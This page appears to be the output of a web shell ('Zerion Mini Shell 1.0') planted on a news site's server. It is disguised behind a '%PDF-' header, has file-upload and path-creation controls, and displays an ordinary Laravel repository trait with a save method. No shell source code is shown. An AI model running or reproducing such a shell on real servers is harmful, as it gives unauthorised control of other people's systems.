%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/vendor/czim/laravel-repository/src/Traits/
Upload File :
Create Path :
Current File : /var/www/html/news/vendor/czim/laravel-repository/src/Traits/HandlesEloquentSavingTrait.php

<?php
namespace Czim\Repository\Traits;

use Illuminate\Database\Eloquent\Model;

/**
 * The point of this is to provide Eloquent saving through some
 * intermediate object (i.e. a Repository) to make model manipulation
 * easier to test/mock.
 */
trait HandlesEloquentSavingTrait
{

    /**
     * Executes a save on the model provided
     *
     * @param  Model $model
     * @param  array $options
     * @return bool
     */
    public function save(Model $model, array $options = array())
    {
        return $model->save($options);
    }

}

Zerion Mini Shell 1.0